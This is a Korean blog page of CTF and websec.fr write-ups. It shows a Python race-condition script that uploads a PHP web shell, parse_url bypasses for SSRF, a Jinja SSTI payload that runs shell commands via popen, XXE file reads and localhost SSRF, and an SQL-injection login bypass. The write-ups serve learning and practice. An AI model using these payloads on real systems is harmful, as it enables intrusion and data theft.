반응형

문제 접근 후 코드를 보자.


 if (md5_file($filename) === md5_file('flag.php') && $_POST['checksum'] == crc32($_POST['checksum'])) {
    include(
$filename);  // it contains the `$flag` variable
    
} else {
        
$flag "Nope, $filename is not the right file, sorry.";
        
sleep(1);  // Deter bruteforce
    
}

  
unlink($filename);


먼저 $_POST['checksum']과 crc32($_POST['checksum']) 부분은 PHP loose comparison에 의해 checksum을 array 형태로 전송하면 우회가 된다.


하지만 $filename은 $_SERVER['REMOTE_ADDR']을 이용하여 생성하기 때문에 flag.php로 만들어줄 수가 없다. 

여기서 삽질의 삽질을 하다 unlink($filename)을 통해 내가 업로드한 파일을 삭제하기 전 sleep(1)을 통해 잠시 대기하는 코드를 보았다.


이를 통해 공격을 진행해보았다.

방법은 이렇다.


1. flag.php 파일을 볼 수 있도록 웹쉘 파일을 작성한다.

#웹쉘 코드

<?php show_source('flag.php') ?>


2. 해당 웹쉘 파일을 업로드한다.

3. 업로드 후 1초안에(파일이 삭제되기 전에) 해당 파일에 접근한다.

 - 파일명은 md5($_SERVER['REMOTE_ADDR'])이며 문제에서 출력해주기도 한다.


Burp Repeater를 이용하여 문제가 풀리기도 하지만 Python으로 코딩하여 문제를 풀어보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import threading
import sys
 
 
def file_upload():
    while(1):
        upload_url='http://websec.fr/level28/index.php'
        files = {'flag_file'open('flag.php','rb')}
        payload = {'checksum':'123','submit':'Upload and check'}
        r = requests.post(upload_url,files=files, data=payload)
        print "[+] webshell upload"
        #print r.text
 
def flag_read():
    while(1):
        url='http://websec.fr/level28/파일명.php'
        response = requests.get(url)
 
        if(response.status_code!=404):
            print response.text
            sys.exit()
        else:
            print "[-] Not Found Your Webshell"
 
def main():
    t1=threading.Thread(target=flag_read)
    t2=threading.Thread(target=file_upload)
    
    t1.start()
    t2.start()
            
if __name__ == '__main__':
    main()
cs




추가

이렇게 서버 측에서 해당 파일에 대해 작업을 하기 전 예상하지 못한 작업을 하는 공격을 race condition vulnerability 이라고 한다.


해당 기법은 보통 시스템 해킹 시 많이 사용되며 해당 기법을 통해 root 권한을 탈취할 수도 있다.


이번 문제를 풀기 전에 시스템 해킹에서만 사용되는 기법으로 알고 있었는데 웹에서도 나올 수 있구나를 알 수 있었으며 이를 통해 역시 보안의 모든 분야는 연결되어있음을 또 한번 느낄 수 있었다.



참고)

https://www.owasp.org/index.php/Testing_for_Race_Conditions_(OWASP-AT-010)

https://blogger.pe.kr/363

반응형
블로그 이미지

rootable

,
반응형

바로 전 포스팅에서 parse_url의 버그를 이용하여 파라미터 내 값 체크를 우회하는 것을 정리하였다.

https://rootable.tistory.com/entry/websecfr-level-25-writeup-with-parseurl-bug


그런데 오늘 CTF 문제를 풀다 parse_url 관련 문제가 나왔는데 이번엔 파라미터 내 값이 아닌 host를 우회하는 문제가 제출되어 이에 대해 정리도 할겸 포스팅한다.



해당 문제이다. 간단하게 봤을 때 parse_url 을 잘 이용해서 https://localhost/key 를 확인하면 flag를 얻을 수 있을 것 같다.




문제에 접근하여 텍스트 부분에 scheme을 포함하여 작성한 뒤 제출을 누르면 해당 사이트에 접근되는 Link를 만들어준다.


하지만 문제에서 원하는 https://localhost/key에 대한 링크를 만드려고 하면 내부 URL들은 allow되지 않는다고 한다.


이 때 이전 포스팅에서 발견한 parse_url과 관련된 bug들은 query와 관련된 버그이기 때문에 이번 문제를 해결할 때는 도움되지 않는다.

그래서 이와 관련하여 구글링을 한 결과 아래와 같은 버그를 발견하였다.


https://bugs.php.net/bug.php?id=73192


해당 버그는 url이 아래와 같을 때 parse_url이 잘못된 host를 리턴한다고 한다.


- http://example.com:80#@google.com/

- http://example.com:80?@google.com/


위와 같이 작성할 경우 host가 example.com이 아닌 google.com으로 착각하는 버그이다.


이를 이용하여 문제를 해결해보았다.


위의 사진과 같이 버그에서 말한 두가지를 해보았을 때 ?@는 되지 않았지만 #@을 했을 때 parse_url이 host를 잘못 인식하여 내부의 key값을 가져온 것을 볼 수 있다.


해당 버그는 Real World에서 사용될 수도 있다고 판단된다.


아래와 같을 때 잘 활용해보자

- bypass authentication protocol (verify hostname of callback url by parse_url)

- open redirector (verify hostname by parse_url)

- server-side request forgery (verify hostname by parse_url and get_content)



반응형

'Hacking Contest' 카테고리의 다른 글

[ByteBandits CTF 2019] Online Previewer 1  (0) 2019.04.13
[ByteBandits CTF 2019] EasyPHP  (0) 2019.04.13
[2019 Encrypt CTF] vault  (0) 2019.04.03
[2019 Encrypt CTF] Sweeeeeet  (0) 2019.04.03
[2019 Encrypt CTF] repeaaaaaat  (0) 2019.04.03
블로그 이미지

rootable

,
반응형

해당 문제는 PHP의 parse_url 에서 발생하는 취약점을 이용하는 문제이다.

CTF에서도 자주 나오는 문제이므로 추후 한번 정리하여 포스팅을 할까 한다.

일단 문제를 확인해보면 flag.txt 안에 flag가 존재하는데 page 파라미터에 flag를 넣으면 된다.

 

코드를 확인해보자.

<?php
	parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query);
	foreach ($query as $k => $v) {
		if (stripos($v, 'flag') !== false)
			die('You are not allowed to get the flag, sorry :/');
		}

	include $_GET['page'] . '.txt';
?>

코드를 확인해보면 REQUEST_URI를 parse_url한 뒤 그 중 query 부분에 대하여 값에 flag가 들어가면 die() 시켜버리는 것을 볼 수 있다.

 

따라서 parse_url의 취약점을 이용하여 제대로 파싱하지 못하도록 만들어주면 된다.

일단 아래 테스트한 사진들을 보자.

 

1. 기본

가장 기본적인 것으로 단순히 flag를 제출했을 때 parse_url 결과 각각 어떻게 되는지 볼 수 있다.

세번째 query 부분을 level 24 문제의 관점에서 봤을 때 $k에 page가, $v에 flag가 들어가서 die 함수에 의해 실행이 종료되는 것을 볼 수 있다.

 

2. double slash(//) 이용

이번엔 host와 path 사이에 double slash를 넣어보았다. 이전 사진과 비교해봤을 때 달라지는 것은 바로 websec.php가 path가 아닌 host가 되었다는 것이다. 

이것은 //가 기본적으로 http://로 동작하기 때문에 이런 현상이 나오는 것이다. 이것은 보통 홈페이지 작성 시 리소스 부분을 보면 src="//rootable.tistory.com/1.png" 과 같이 사용되는 것으로도 자주 볼 수 있다.

 

하지만 여전히 query 부분에 page=flag가 되어있기 때문에 solve할 수는 없다.

 

3. triple slash(///) 이용

이번엔 double이 아닌 triple로 해보았다.

이번엔 parse_url이 제대로 파싱하지 못했기 때문에 parse_url의 결과가 false로 떴다. 그 이유는 // 이후 다음에 나올 / 전에 문자열이 존재해야 host로 파싱을 해야하는데 그 사이에 문자열이 존재하지 않기 때문에 host가 존재하지 않다고 판단을 하고 false로 리턴하는 것이다.

그 결과, query 부분에 flag가 들어가지 않았으며 따라서 $v에 path가 존재하지 않다는 뜻이므로 if문을 넘어 flag.txt를 include하여 문제가 풀린다.

 

파싱이 제대로 되지 않도록만 하면 되기 때문에 /// 뿐만 아니라 4개, 5개를 활용해도 제대로 파싱되지 않아 문제는 풀린다.


(기타) 또 다른 방법

그렇다면 다른 방법이 더 존재하지 않을까?

이를 위해 parse_url의 포트를 활용하는 방법도 있다.

 

이는 PHP 5.4.7 미만의 버전일 때만 가능하다.

자세한 정보는 https://bugs.php.net/bug.php?id=74780 를 참고하길 바란다.

 

만약 query 부분에 콜론이 들어갈 경우 5.4.7 이전의 버전일 경우에는 parse_url이 파싱에 실패한다고 한다.

물론 이 때 콜론 뒤에 숫자형태로 와서 포트로 인식되도록 해야 한다.

 

websec.fr level25에 적용해보면 send 뒤에 :80 을 넣어서 문제가 solve가 된 것을 볼 수 있다.

이는 websec.fr/level25/index.php?page=flag&:1과 같이 반드시 파라미터형태로 전달해주지 않아도 bug가 발생한다.

반응형

'Hacking > Web' 카테고리의 다른 글

[JAVA] AES256 decrypt Code  (0) 2019.04.25
[Websec.fr] level 8 Writeup  (0) 2019.04.11
[WebSec.fr] level 17 writeup  (0) 2019.03.28
PHP Object Injection with websec level 4  (0) 2019.03.26
WAS별 default로 허용되어있는 jsp 관련 확장자  (0) 2019.03.26
블로그 이미지

rootable

,
반응형

문제에 접근하면 간단한 로그인 창이 나타난다.

Login Bypass With SQL Injection 문제인가 싶어 진행해보았다.

 

그랬더니 flag.png라는 qr code가 떠서 해당 코드를 decrypt하였을 때 youtube가 떠서 이게 아닌가하고 삽질을 했는데 자세히 보니 Cookie 값에 SESSIONID가 발급되었으며 해당 값을 base64로 디코딩한 결과 Flag 였다.

 

ZW5jcnlwdENURntpX0g0dDNfaW5KM2M3aTBuNX0%3D → encryptCTF{i_H4t3_inJ3c7i0n5}

 

반응형
블로그 이미지

rootable

,
반응형

문제 설명에 sweets 링크가 존재하지만 문제 풀이에 전혀 도움이 안된다. (뭔가 힌트였을까..?)

 

문제에 접근하면 너가 원하는 flag는 여기에 없다고 한다.

응답을 보기 위해 Burp를 이용하여 확인한 결과 아래와 같이 Set-Cookie에 Flag 형태의 값이 들어가있는 것을 볼 수 있다.

 

굉장히 쉬운 문제구나 하고 인증을 하는데 계속 틀렸다고 한다.

다시 확인을 위해 요청을 날렸는데 Cookie 값에 UID 라는 값이 존재한다.

 

 

이 값을 무시하고 있었는데 혹시 뭔가 있지 않을까란 생각에 구글링해보았더니 문자열 '100'을 md5로 변환된 것이였다.

따라서 특정 값을 md5로 변환하여 UID에 넣으면 풀리지 않을까 싶어 여러가지 시도한 결과 문자열 '0'을 md5로 변환하여 UID에 넣었더니 Set-Cookie에 FLAG값이 출력되었다.

 

 

참고로 md5 encrpyt 할 때 아래의 사이트를 이용하였다.

https://md5decrypt.net/en/

반응형
블로그 이미지

rootable

,
반응형

문제에 접근하면 아래와 같이 소스 내 주석으로 base64 된 문자열을 볼 수 있다.

 

반복해서 요청하다보면 총 3가지를 출력해줌을 볼 수 있다.

1.  L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ== → /lol_no_one_will_see_whats_here

2. Lz9zZWNyZXQ9ZmxhZw== → /?secret=flag

3. d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK → what_are_you_searching_for

 

첫 번째 디코딩한 값으로 접근해보면 아래와 같은 base64된 값을 주는데 해당 값을 디코딩해보면 유투브로 넘어가는 링크를 준다.

aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2hcP3ZcPVBHakxoT2hNTFhjCg==

 → https://www.youtube.com/watch?v=PGjLhOhMLXc

 

웹 문제 중 가장 어려운 문제인데 이렇게 쉽게 될리가 ㅎㅎ

 

두 번째로 디코딩한 값이 그나마 입력을 받는 인자가 있어 느낌있었다.

해당 값으로 접근해보면 응답에 내가 입력한 flag가 출력된 것을 볼 수 있다.

혹시나 하여 SSTI 를 해보았는데 역시나였다.

 

그래서 그전에 공부해둔대로 File Class를 이용하여 파일을 읽어보려 했는데 ''.__class__.__mro__[2]가 존재하지 않았고, 확인해본 결과 ''.__class__.__mro__[1]이 object Class이며 해당 object에는 File class가 존재하지 않았다.

 

다른 방법이 뭐가 있을까 찾아보다가 아래와 같은 링크를 찾았다.

https://xz.aliyun.com/t/3679

 

바로 os._wrap_close Class를 이용하는 것이다.

해당 링크에 나와있는 대로 아래의 명령어를 통해 공격을 시도해보았다.

{{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('dir').read()}}

 

그 결과 dir 명령어를 통해 디렉토리 내 파일 리스트를 볼 수 있었고 flag.txt가 존재함을 볼 수 있다.

이후 cat 명령어를 통해 flag를 얻을 수 있었다.

 

 

참고 ) https://xz.aliyun.com/t/3679

반응형

'Hacking Contest' 카테고리의 다른 글

[2019 Encrypt CTF] vault  (0) 2019.04.03
[2019 Encrypt CTF] Sweeeeeet  (0) 2019.04.03
[Sunshine CTF 2019] Wrestler Name Generator  (0) 2019.03.31
[Sunshine CTF 2019] WrestlerBook  (0) 2019.03.31
2019 TAMUctf Write-Up  (0) 2019.02.26
블로그 이미지

rootable

,
반응형

 

문제에 접근하면 위와 같이 3개를 입력받을 수 있다.

First Name에 a를 Last Name에 b를 넣고 [Get Wrestler Name]를 클릭하면 아래와 같이 a와 b가 응답에 출력된다. 

 

 

몇가지 공격 기법이 생각났는데 일단 요청이 어떻게 날아갔는지 봤다.

input에 base64로 된 형태로 날아가길래 decode 해보았더니 XML 형태로 날아갔다. 이를 통해 XXE를 하는 것이구나 하여 해당 공격을 진행하였다.

 

URL 디코딩 후 base64로 디코딩하였고 값을 바꿔준 뒤에 다시 base64로 인코딩 진행 후 URL encoding 해주었다.

그 결과 아래와 같이 XXE에 성공함을 볼 수 있었다.

 

소스코드를 얻기 위해 php의 convert 필터를 이용하였다.

그 결과 나온 base64로 인코딩된 값을 디코딩해주면 generate.php의 소스코드를 볼 수 있다.

 

그런데 원하는 FLAG 값은 존재하지 않았고 대신 이러한 코드가 들어있었다.

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;

 

여기서 난 막혔다 ㅠㅠ

REMOTE_ADDR을 127.0.0.1로 spoof 하기 위해 X-Forwarded-For 헤더를 이용해보았는데 되지 않았다 ㅠㅠ

해당 기법을 이용하는게 아닐까? 시간나면 더 풀어봐야겠다.

 


대회가 끝났지만 더 진행해보았다.

xxe를 통해 file:// , php:// 뿐만 아니라 http:// 도 가능하다는 것을 생각하였고 이를 이용해 localhost에서 접근하듯 하면 될 것이라 생각하였다.

 

그래서 <!DOCTYPE rootable[<!ENTITY xxe SYSETM "http://localhost/generate.php">]>를 시도해보았고 이를 통해 Flag를 획득할 수 있었다.

 

 

 

 

 

반응형

'Hacking Contest' 카테고리의 다른 글

[2019 Encrypt CTF] Sweeeeeet  (0) 2019.04.03
[2019 Encrypt CTF] repeaaaaaat  (0) 2019.04.03
[Sunshine CTF 2019] WrestlerBook  (0) 2019.03.31
2019 TAMUctf Write-Up  (0) 2019.02.26
[35c3ctf.ccc.ac]sanity check  (0) 2018.12.28
블로그 이미지

rootable

,
반응형

 

문제를 클릭하면 위와 같이 뜬다. 초대받지 못한 레슬링 소셜 네트워크에 로그인하여야 한다.

문제에 접근하면 아래와 같이 로그인 창이 뜬다.

 

 

 

단순히 로그인 창만 존재한다.

소스코드를 보아도 아무런 힌트가 존재하지 않은 것으로 보아 SQL Injection을 통해 login bypass를 하면 되겟다 생각하였다.

 

따라서 아래와 같이 공격을 시도해보았다.

역시나 예상대로 로그인된 것을 볼 수 있다.

하지만 Flag에 N/A로 되어있어서 다른 계정으로 로그인을 시도하였다.

 

username 부분에 like를 이용하여 다른 계정들로 로그인 시도를 하던 중 user라는 계정이 1부터 순서대로 존재하는 것을 보았다.

이중 하나에 Flag가 있지 않을까하여 다른 계정들도 시도하였다.

 

 

Intruder 결과 user84에 Flag가 존재하였다.

 

 

반응형

'Hacking Contest' 카테고리의 다른 글

[2019 Encrypt CTF] repeaaaaaat  (0) 2019.04.03
[Sunshine CTF 2019] Wrestler Name Generator  (0) 2019.03.31
2019 TAMUctf Write-Up  (0) 2019.02.26
[35c3ctf.ccc.ac]sanity check  (0) 2018.12.28
[2018 X-MAS CTF] Our Christmas Wishlist  (0) 2018.12.15
블로그 이미지

rootable

,